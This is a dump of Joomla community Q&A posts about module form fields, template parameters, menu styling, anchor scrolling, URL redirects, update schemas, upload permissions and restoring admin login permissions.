  <row Id="5167" PostTypeId="1" AcceptedAnswerId="5169" CreationDate="2014-11-06T09:26:52.947" Score="7" ViewCount="2330" Body="&lt;p&gt;I want at the fieldset of a joomla module to echo an option with some fetched results from my db:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;&amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;&amp;lt;field&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;$db =&amp;amp; JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*');&#xA;$query-&amp;gt;from('#__menu_types'); &#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$options = $db-&amp;gt;loadObjectList();&#xA;echo &quot;&amp;lt;select&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;option value=''&amp;gt;select a category&amp;lt;/option&amp;gt;&quot;;&#xA;foreach($options as $row) { &#xA;&#xA;   echo &quot;&amp;lt;option value='&quot; . $row-&amp;gt;id .&quot;'&amp;gt;&quot; . $row-&amp;gt;title . &quot;&amp;lt;/option&amp;gt;&quot;;&#xA;&#xA;   }&#xA;   echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that this code is completly wrong (just posted it to show you what I want to do ), but I allready searched for modules that do something similar and I found out, that they don't use php code inside xml.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess there is another way, but I can't understand on my own, as I am completely new to Joomla and Joomla development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance.&lt;/p&gt;&#xA;" OwnerUserId="2225" OwnerDisplayName="IseNgaRt" LastEditorUserId="126" LastEditDate="2016-01-22T00:22:03.187" LastActivityDate="2016-01-22T00:22:03.187" Title="How to insert &quot;php code&quot; inside the .xml manifest file of a Joomla module?" Tags="|php|module|xml|form-fields-types|custom-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5168" PostTypeId="2" ParentId="5167" CreationDate="2014-11-06T09:42:20.930" Score="4" Body="&lt;p&gt;I would suggest taking a look at &lt;a href=&quot;http://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&#xA;Since it looks like what you are trying to achieve. While the guide may be referring to components this can also work with modules, (I've tried it myself)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;simply follow the guide but instead of placing your files at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/components/&amp;lt;name of your component&amp;gt;/models/fields/&amp;lt;name of your field&amp;gt;.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should place them at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/modules/&amp;lt;name of your module&amp;gt;/models/fields/&amp;lt;name of your field&amp;gt;.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt; for ways to fetch data from the Joomla Database, use this in the code you have learned from the previous link&lt;/p&gt;&#xA;" OwnerUserId="2179" OwnerDisplayName="Rasmus Boie" LastActivityDate="2014-11-06T14:59:04.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5169" PostTypeId="2" ParentId="5167" CreationDate="2014-11-06T11:15:42.920" Score="5" Body="&lt;p&gt;Try this ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally Joomla provides all major components categories in XML accessible way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For eg: you need banner category dropdown simply use like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;                    name=&quot;catid&quot;&#xA;                    type=&quot;category&quot;&#xA;                    extension=&quot;com_banners&quot;&#xA;                    label=&quot;JCATEGORY&quot;&#xA;                    multiple=&quot;true&quot; size=&quot;5&quot;&#xA;                    default=&quot;&quot;&#xA;                    description=&quot;Your desc&quot; &amp;gt;&#xA;                    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_ALL_CATEGORIES&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For content categories you can try something like &lt;code&gt;com_content&lt;/code&gt; instead of &lt;code&gt;com_banners&lt;/code&gt;.&#xA;check for your menu too, Im not sure if that available or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not there also Joomla offer another option of writing &lt;code&gt;SQL&lt;/code&gt; in &lt;code&gt;XML&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;myfield&quot; type=&quot;sql&quot; default=&quot;10&quot; label=&quot;Select an article&quot; query=&quot;SELECT id, title FROM #__content&quot; key_field=&quot;id&quot; value_field=&quot;title&quot; required=&quot;true&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Please select your option&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;more details can be found &lt;a href=&quot;http://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="138" OwnerDisplayName="Jobin Jose" LastActivityDate="2014-11-06T11:15:42.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5170" PostTypeId="2" ParentId="5166" CreationDate="2014-11-11T14:03:43.507" Score="0" Body="&lt;p&gt;If you are trying to modify core &lt;code&gt;mod_menu&lt;/code&gt; then you should &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;override&lt;/a&gt; &lt;code&gt;default.php&lt;/code&gt; and put your image &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/modules/mod_menu/tmpl/default.php#L102&quot; rel=&quot;nofollow&quot;&gt;on line 102&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-11-11T14:03:43.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5171" PostTypeId="2" ParentId="5166" CreationDate="2014-11-11T14:05:33.087" Score="1" Body="&lt;p&gt;I don't know how your current menu structure is, whether it's the default Joomla menu, or whether you're using an extension, however I will give you a very basic example which you should find easy to apply to your menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets say you have the following HTML markup for your menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;Item 1&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;Item 2&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;Item 3&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;span class=&quot;drop&quot;&amp;gt;Item 4&amp;lt;/span&amp;gt;&#xA;        &amp;lt;ul class=&quot;submenu&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;Item 4.1&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Item 4.2&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Item 4.3&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use the following CSS to add your divider to each main menu item&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.menu li {&#xA;    border-left: 1px solid #000;&#xA;}&#xA;.menu li:first-child,&#xA;.menu li .submenu li {&#xA;    border-left: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will remove the add a left border to the menu item, apart from the first item and the submenu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-11T14:05:33.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5172" PostTypeId="1" AcceptedAnswerId="5175" CreationDate="2014-11-11T14:41:22.360" Score="5" ViewCount="1792" Body="&lt;p&gt;Is it possible to get parameters for a specific template (not the active template necessarily)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;//edit&#xA;The template WILL NOT be active, so I need to get the template's parameters without:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$template = $app-&amp;gt;getTemplate(true);&#xA;$param = $template-&amp;gt;params-&amp;gt;get('paramName', defaultValue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1803" LastEditorUserId="1803" LastEditDate="2014-11-11T15:16:15.483" LastActivityDate="2017-06-12T10:00:53.597" Title="Get parameters for specific template inside a library file" Tags="|joomla-2.5|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5173" PostTypeId="2" ParentId="5172" CreationDate="2014-11-11T14:46:26.320" Score="3" Body="&lt;p&gt;To get the active template parameters, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Code by @GDP&lt;/em&gt; (&lt;a href=&quot;https://stackoverflow.com/questions/11493168/joomla-2-5-accessing-template-parameters-in-components-template&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$template = JFactory::getApplication()-&amp;gt;getTemplate(true);&#xA;$params   = $template-&amp;gt;params;&#xA;$variable = $params-&amp;gt;get('variable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I would not recommend getting parameters from non-active template. Instead I suggest you set default values, for example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$variable = $params-&amp;gt;get('colour', '#FFFFFF');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-06-12T10:00:53.597" LastActivityDate="2017-06-12T10:00:53.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5174" PostTypeId="2" ParentId="5166" CreationDate="2014-11-11T15:35:43.043" Score="6" Body="&lt;p&gt;You can achieve this using pure CSS using the &lt;em&gt;greater than&lt;/em&gt; symbol &lt;code&gt;&amp;gt;&lt;/code&gt; (immediate children selector) and the &lt;code&gt;:after&lt;/code&gt; pseudo-element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick example based on the default Joomla 3 and the Protostar template (I know you're using Joomla 2.5, but it should work. If not, please post some of your HTML/CSS code.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.menu &amp;gt; li { /* Add some space between menu items for image */&#xA;   padding-right: 10px; /* Change to your image width */&#xA;}&#xA;ul.menu &amp;gt; li:after { /* Target immediate children of &amp;lt;ul&amp;gt; with class &quot;menu&quot; */&#xA;   content: &quot;&quot;;&#xA;   display: block;&#xA;   position: absolute;&#xA;   top: 0;&#xA;   right: 0;&#xA;   width: 10px; /* Change to your image width */&#xA;   height: 40px; /* Change to your image height */&#xA;   background: url('path/to/image.jpg') no-repeat; /* Place your image URL here */&#xA;}&#xA;ul.menu &amp;gt; li:last-child:after { /* Remove the image for the last menu item*/&#xA;   display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-11T15:35:43.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5175" PostTypeId="2" ParentId="5172" CreationDate="2014-11-11T17:55:09.753" Score="2" Body="&lt;p&gt;You can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query  -&amp;gt;select('params')&#xA;        -&amp;gt;from('#__template_styles')&#xA;        -&amp;gt;where('`template` = ' . $db-&amp;gt;q('beez3')) // Just replace 'beez3' with with the name of your template&#xA;        -&amp;gt;where('client_id = 0'); // client_id = 0 for SITE and client_id = 1 for ADMIN templates&#xA;$db-&amp;gt;setQuery($query);&#xA;$params = json_decode($db-&amp;gt;loadResult());&#xA;echo $params-&amp;gt;wrapperSmall; // replace wrapperSmall with desired parameter key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-11-11T17:55:09.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5176" PostTypeId="1" CreationDate="2014-11-11T19:52:52.567" Score="3" ViewCount="294" Body="&lt;p&gt;So, this is what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category (News)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory 1 (Sports)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article Title 1 (Story Title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article Title 2 (Story Title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article title 3 (Story Title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcategory 2 (Fashion)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article Title 4 (Story Title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article Title 5 (Story Title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article Title 6 (Story Title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I must be missing something really obvious, because this seems ridiculously difficult to do. The closest I have gotten displays not just the article titles, but also the entire article text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could do it manually, but I'd really prefer not to as it would be a lot of maintenance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!&lt;/p&gt;&#xA;" OwnerUserId="2176" LastActivityDate="2014-11-11T20:49:07.587" Title="Create a list of article titles by subcategory" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5177" PostTypeId="1" AcceptedAnswerId="5178" CreationDate="2014-11-11T19:53:29.030" Score="7" ViewCount="6113" Body="&lt;p&gt;I'm looking for a way to create a menu item (in this case &quot;Contact&quot;) that scrolls down to the bottom of my home page where the contact information is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating an external URL menu item and put &quot;#contact&quot; in the URl field, and then place &lt;code&gt;&amp;lt;a name=&quot;contact&quot;&amp;gt; &amp;lt;/a&amp;gt;&lt;/code&gt; in the source code, but I couldn't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any ways to achieve this in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2016-02-21T08:04:48.287" Title="How to make a menu item scroll to heading on same page?" Tags="|joomla-3.x|menu|content|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5178" PostTypeId="2" ParentId="5177" CreationDate="2014-11-11T19:56:00.040" Score="7" Body="&lt;p&gt;When creating anchors, you need to assign the name as an ID of the element, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#contact&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anchor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;contact&quot;&amp;gt;&#xA;  // Your form here&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When clicked, it will take you to this anchor. If you wish to animate the transition with a smooth scroll, you can use jQuery, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&#xA;    $('a[href=#contact]').on('click', function(e) {&#xA;        e.preventDefault();&#xA;        $('html,body').animate({scrollTop:$(this.hash).offset().top-0}, 500);&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-11T19:56:00.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5179" PostTypeId="2" ParentId="5176" CreationDate="2014-11-11T20:49:07.587" Score="2" Body="&lt;p&gt;You don't miss something really obvious. The truth is that this type of article display is not included in the core content component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you are lucky here. There are a few extensions that will make your life easier with this , than having to code this at your own within an override, and the good news is that they are free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first recommendation is the &lt;a href=&quot;http://stackideas.com/downloads/components&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SectionX by StackIdeas&lt;/strong&gt;&lt;/a&gt;. It's coming as a component and will allow you to create a menu item and adjust the settings to display it the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one more component &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/articles-listing/19418&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SectionCategoryArticleList&lt;/strong&gt;&lt;/a&gt;&quot;, which comes also as a &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/articles-listing/22931&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;module&lt;/strong&gt;&lt;/a&gt; with similar functionality.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-11T20:49:07.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5180" PostTypeId="2" ParentId="899" CreationDate="2014-11-11T20:54:27.790" Score="2" Body="&lt;p&gt;In addition to the answers above, you might want to take a look at a plugin called &lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/greetings/16319&quot; rel=&quot;nofollow&quot;&gt;Nice User Info&lt;/a&gt;. It can display some user information when a user is logged in. A free versiion is also available, but with limited functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, simply add &lt;code&gt;{niceuserinfo:usergroup}&lt;/code&gt;, and supports the following information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User ID&lt;/li&gt;&#xA;&lt;li&gt;Full Name&lt;/li&gt;&#xA;&lt;li&gt;Username&lt;/li&gt;&#xA;&lt;li&gt;Email Address&lt;/li&gt;&#xA;&lt;li&gt;Group Name(s)&lt;/li&gt;&#xA;&lt;li&gt;Group ID(s)&lt;/li&gt;&#xA;&lt;li&gt;Registration Date&lt;/li&gt;&#xA;&lt;li&gt;Last Visit Date&lt;/li&gt;&#xA;&lt;li&gt;Visitor’s IP Address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-11-11T20:54:27.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5181" PostTypeId="2" ParentId="5177" CreationDate="2014-11-11T21:39:07.713" Score="3" Body="&lt;p&gt;You can do this using jQuery (as Lodder suggested). Here's an alternative solution (from &lt;a href=&quot;https://stackoverflow.com/questions/20334106/joomla-menu-items-point-to-different-positions-in-the-same-page&quot;&gt;this answer&lt;/a&gt; at StackOverflow). Place this code in your &lt;code&gt;index.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;var $root = jQuery('html, body');&#xA;jQuery('#contact').click(function() {&#xA;    var href = jQuery.attr(this, 'href');&#xA;    $root.animate({&#xA;        scrollTop: $(href).offset().top&#xA;    }, 2000, function () {&#xA;        window.location.hash = href;&#xA;    });&#xA;    return false;&#xA;});  &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, if you need the menu item to work from any part of your site (in case your contact information is visible only on the homepage), put this in your Menu Item url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php/#contact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-11-11T21:39:07.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5182" PostTypeId="1" AcceptedAnswerId="5202" CreationDate="2014-11-11T22:26:41.717" Score="2" ViewCount="1701" Body="&lt;p&gt;I'm having a hard time redirecting URLs on multilingual Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New site has following URL structure: &lt;code&gt;http://sitename.com/[language]/[pagename].html&lt;/code&gt; and old site URL structure is as follows : &lt;code&gt;http://sitename.com/[pagename]?lang=[language]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several regex incantations but none of them work. It seems like Joomla multilingual rewrites are overriding them somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one of the regexes I've used, I have tried with redirect as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule /(.+)\?lang=(.+) /$2/$1.html [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just doesn't work no matter how I put it and I want to redirect old URLs to new ones.&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2014-11-18T01:38:08.563" Title="Redirecting multilingual url" Tags="|seo|url|multilingual|redirect|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5183" PostTypeId="2" ParentId="5163" CreationDate="2014-11-12T01:03:28.603" Score="1" Body="&lt;p&gt;Joomla's keeps track of schema versions for itself and components in the &lt;code&gt;#__schemas&lt;/code&gt; table. It lists the &lt;code&gt;extension_id&lt;/code&gt; and with the &lt;code&gt;version_id&lt;/code&gt; and uses that to determine what updates to run. For example you will see entries similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;700    3.3.6-2014-09-30&#xA;709    1.2.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you might guess from the lines above 700 is the &lt;code&gt;id&lt;/code&gt; of an extension called &lt;code&gt;files_joomla&lt;/code&gt; i.e. Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about it in the Joomla Doc's article &quot;&lt;a href=&quot;http://docs.joomla.org/J2.5:Managing_Component_Updates_(Update_SQL_files)&quot; rel=&quot;nofollow&quot;&gt;Managing Component Updates (Update SQL files)&lt;/a&gt;&quot; (which states 2.5 but I don't think it's changed since then).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most people miss this note in the article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Important Note:&lt;/strong&gt; &lt;em&gt;These files are also used to set the version number in the #__schemas table. This version number must be present in the current version of the component in order for the new SQL files to be run during the update. For example, if you have version 1.0 and are updating to version 1.1, the 1.1.sql file will not be executed if there was no 1.0.sql file in the 1.0 release. For this reason, it is good practice to have a SQL update file for each version, even if there is no SQL change in that version. You can just use an empty file or a file with a comment line.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-11-12T01:03:28.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5184" PostTypeId="1" CreationDate="2014-11-12T02:07:34.733" Score="2" ViewCount="265" Body="&lt;p&gt;I keep getting errors when trying to upload to my &lt;code&gt;tmp&lt;/code&gt; directory, it always fails if I try by URL or upload. The only way it works is via a direct upload Joomla extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have root access I have made sure permissions and ownership are correct and that the file path to my &lt;code&gt;tmp&lt;/code&gt; folder is correct in global of admin as well as &lt;code&gt;configuration.php&lt;/code&gt; so I am trying to figure out why it keeps failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;code&gt;chown apache:root&lt;/code&gt; on all my Joomla folders with permissions 755 and the path is &lt;code&gt;mysite.com/joomla&lt;/code&gt; as it is in a sub-directory but all else works except for this. Also I noticed each time I do an install it fails to create the &lt;code&gt;configuration.php&lt;/code&gt; file. Have I got ownership and permissions correct?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The error was a number of things coming up but the main thing persisting that I remember and that is still there is &lt;code&gt;tmp&lt;/code&gt; file folder not writable. I ended up clearing the cache via command and since then everything works but this one error message on &lt;code&gt;tmp&lt;/code&gt; folder remains in warnings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to this I reinstalled latest 3.6 with exact same ownership and permissions but used wget command for tar file and now it is all working no errors.&lt;/p&gt;&#xA;" OwnerUserId="2178" LastEditorUserId="2178" LastEditDate="2014-11-17T07:50:18.557" LastActivityDate="2014-11-17T07:50:18.557" Title="Cannot upload extensions manually" Tags="|extensions|file-permissions|file-upload|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5185" PostTypeId="1" AcceptedAnswerId="5190" CreationDate="2014-11-12T04:25:04.677" Score="4" ViewCount="1065" Body="&lt;p&gt;Another Super User disabled login permissions for every group, including Super User; no one can login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a straight forward way to reverse this from within the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can spot anything abnormal in my _assets table, that'd be amazing.&#xA;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1TxXT2L2o5pF1LI-qVvlr6h9yL8DvU6orOYihJLztoFU/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheets/d/1TxXT2L2o5pF1LI-qVvlr6h9yL8DvU6orOYihJLztoFU/edit?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify what's happening functionally:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Navigate to /administrator&lt;/li&gt;&#xA;&lt;li&gt;Insert credentials.&lt;/li&gt;&#xA;&lt;li&gt;Hit login.&lt;/li&gt;&#xA;&lt;li&gt;Nothing happens.&lt;/li&gt;&#xA;&lt;li&gt;No messages, errors, or warnings. (Including JS console.)&lt;/li&gt;&#xA;&lt;li&gt;Putting in invalid credentails will display an error per the usuall.&lt;/li&gt;&#xA;&lt;li&gt;Putting in correct credentials simply does nothing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="68" LastEditorUserId="68" LastEditDate="2014-11-12T17:59:25.013" LastActivityDate="2021-05-02T07:43:08.577" Title="Administrative Login Permissions Disabled" Tags="|joomla-3.3.x|administrator|permissions|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5186" PostTypeId="2" ParentId="5185" CreationDate="2014-11-12T06:00:44.120" Score="2" Body="&lt;p&gt;Joomla stores all the access permission rules in #__assets table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a field rules in #__assets table which contains permission value, so you need to update the table with your values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not done such changes directly in database before so don't know what exactly you need to put as default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer &lt;a href=&quot;http://docs.joomla.org/Developing_a_Model-View-Controller_%28MVC%29_Component_for_Joomla!2.5_-_Part_14&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; for understanding access permissions.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="396" LastEditDate="2014-11-12T06:38:24.840" LastActivityDate="2014-11-12T06:38:24.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5187" PostTypeId="1" CreationDate="2014-11-12T06:29:49.277" Score="-1" ViewCount="232" Body="&lt;p&gt;Hi everyone I've been used JFBConnect in joomla ver 1.5 and jfbclogin module but I am migrating in joomla version 3 the jfbclogin module are not working. Any idea will appreciated and if there an alternative to this jfbclogin module. Thanks&lt;/p&gt;&#xA;" OwnerUserId="2169" LastActivityDate="2015-01-11T09:38:17.637" Title="JFBConnect and jfbclogin module in joomla 3" Tags="|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
